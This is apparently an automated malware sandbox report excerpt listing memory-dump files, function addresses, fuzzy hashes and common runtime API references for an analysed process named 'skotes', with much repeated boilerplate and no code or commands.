Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 122f20e84fef9f72b0d850b00503f8196edf1166708c26eca1becb4fa9ae3bc7
Instruction ID: ce74bb59fb55efe06cea2c885928c5b79d6b8173599b2ff41178799820ef3522
Opcode Fuzzy Hash: 122f20e84fef9f72b0d850b00503f8196edf1166708c26eca1becb4fa9ae3bc7
Instruction Fuzzy Hash: DFD022326032389B8E013B89EC088ACFF88CB01B287041012FD0C77120CA616C00CBD5

Function 00EB7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 00EB80B2

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 04be83be1635c9623e3f254625b4ceae0629c5f5b8107451fb6113323fc7a124
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 0F51AD303086049AEB385A2C8A957FF67DE5B91388F143519E4C2F77C2CD21DD49C25A

Function 00E84DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a946d9e5532f30865af929bfd77c9f7ef92d2346ce81ad0dffa16c4311236a75
Instruction ID: 97066e0eee54448e8fe346bd07b43590a1d3c6bc06979945d6017788c3197365
Opcode Fuzzy Hash: a946d9e5532f30865af929bfd77c9f7ef92d2346ce81ad0dffa16c4311236a75
Instruction Fuzzy Hash: CD2261B3F515144BDB0CCB5DDCA27ECB2E3AFD8214B0E903DA40AE3345EA79D9158A44

Function 00EC7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49d9d08d81dedffedb33871a5cad3d1e29f00916c347bf045244caa557a8dc52
Instruction ID: fd1d2e1333f0f73d2f58fbbca65de421ee0da844dea695776363b70e37e035d8
Opcode Fuzzy Hash: 49d9d08d81dedffedb33871a5cad3d1e29f00916c347bf045244caa557a8dc52
Instruction Fuzzy Hash: 88B115716146048FD718CF28C586FA57BA0FB45368F29965CE8DADF2A1C336E992CF40

Function 00E84B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52e1947346775d93257f3129ad7111b1978c5bfa1f2fa9e0bb68f75694b33293
Instruction ID: 900c1a36dade61d5e6bc9dc439a1b2c195a5c4bb0433f3b9fd6e0c379e813407
Opcode Fuzzy Hash: 52e1947346775d93257f3129ad7111b1978c5bfa1f2fa9e0bb68f75694b33293
Instruction Fuzzy Hash: 9F8112B0A0024A8FEB15DF69D880BEEFBF5FB19300F141669D958B7392C3319945CBA0

Function 00EC78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782fa1c38730ed1bb7ea486283dd51072a5bf4f38dec4d7c006224f3f677b59a
Instruction ID: 272d871e4194edd20df92c66adcf40a95e2f4563af52fd38fb92fabcda5d4b2c
Opcode Fuzzy Hash: 782fa1c38730ed1bb7ea486283dd51072a5bf4f38dec4d7c006224f3f677b59a
Instruction Fuzzy Hash: 9421B673F204394B770CC47E8C5227DB6E1C78C541745423AF8A6EA2C1D968D917E2E4

Function 00EC779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf4ff20f21d417d538549e36d7a6beaf8ba25bfc5dbec93257fb7fbfe35a8588
Instruction ID: b6050254ee6b8b35db948cce9039fddb8c12f5d25c953b520df99ad8ed6cbb24
Opcode Fuzzy Hash: cf4ff20f21d417d538549e36d7a6beaf8ba25bfc5dbec93257fb7fbfe35a8588
Instruction Fuzzy Hash: CB118A23F30C295B675C817D8C172BA95D2DBD825471F533ED826F7284E994DE13D290

Function 00EC8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: d54cad881c8f2f7228e5de91e1478ab144aae7923b04353c1cc56a6001692ab6
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5711087720018253E60C862DCBB4FF7A795EAC53297EC637ED0426BF98DA2399479600

Function 00EB652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31594cf41d2c3132debf6b0c1ceb25f0a2c9c8dbc063fdae400cb740830b9de
Instruction ID: ade674a5afbf713c057e4e6e42ae2a95b89d4ce32cea712b5c9210b4edcf2459
Opcode Fuzzy Hash: c31594cf41d2c3132debf6b0c1ceb25f0a2c9c8dbc063fdae400cb740830b9de
Instruction Fuzzy Hash: 74E08630112208AECF357B18C85DF8A3B59EB11749F002C11FC1896222DB39DD51C982

Function 00EBA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 56c04e80da90fe84a251ddc6dcf2808b41c314fe5af046dc5ee11f71dd7e3880
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 8DE08C32921228EBCB14DB98C9049CEF3ECEB49B00B6910AAF501E3150C270DE00C7D0

Function 00EB4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00EB4877
___except_validate_context_record.LIBVCRUNTIME ref: 00EB487F
_ValidateLocalCookies.LIBCMT ref: 00EB4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00EB4933
_ValidateLocalCookies.LIBCMT ref: 00EB4988

Strings

S9, xrefs: 00EB4925, 00EB492E, 00EB493F
csm, xrefs: 00EB491D

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9$csm
API String ID: 1170836740-3377438381
Opcode ID: c6923c12f66a5beeabb1d8dcafca8a82d9a6cee45431bc45106852f29f3c7bdd
Instruction ID: 3b2317296ab88954258add781efee217dadeae92069067ba849e11f630aeb311
Opcode Fuzzy Hash: c6923c12f66a5beeabb1d8dcafca8a82d9a6cee45431bc45106852f29f3c7bdd
Instruction Fuzzy Hash: 1151E471A0024A9BCF10DF68D881AEFBBF5AF45318F149055E918BB393D732D905CB91

Function 00E82EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00E82F5F
GetCurrentThreadId.KERNEL32 ref: 00E82F7E
__Mtx_unlock.LIBCPMT ref: 00E82FCC
__Cnd_broadcast.LIBCPMT ref: 00E82FE3
__Mtx_unlock.LIBCPMT ref: 00E830F5
GetCurrentThreadId.KERNEL32 ref: 00E83132
__Mtx_unlock.LIBCPMT ref: 00E8319B

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 928ed142dbbc08e4b45f7634f2afad58bc9c7fc3e19f14545135a510ceae6dc8
Instruction ID: b1f2e049c538f57b0ce09f9f7da6dd820ebf04dd5759ce07250a94de51a2854e
Opcode Fuzzy Hash: 928ed142dbbc08e4b45f7634f2afad58bc9c7fc3e19f14545135a510ceae6dc8
Instruction Fuzzy Hash: 06A1CFB0A01615AFDF20EF74C94475AB7E8BF15B18F14612AE81DF7291EB31EA04CB91

Function 00EBF35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00EBF3A3

Strings

,m, xrefs: 00EBF367, 00EBF49B
`', xrefs: 00EBF375
8", xrefs: 00EBF44B

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,m$8"$`'
API String ID: 3903695350-2708788664
Opcode ID: 7e8252d88e25836e43bfe9d1a915f852b3ffc5ed3ccba0a5f8b6c52f9c8fbb7c
Instruction ID: a3e1fa585b5e7afdab7ffd9a42511e69e66ee43f6052d16fab9764fc73c1cf1e
Opcode Fuzzy Hash: 7e8252d88e25836e43bfe9d1a915f852b3ffc5ed3ccba0a5f8b6c52f9c8fbb7c
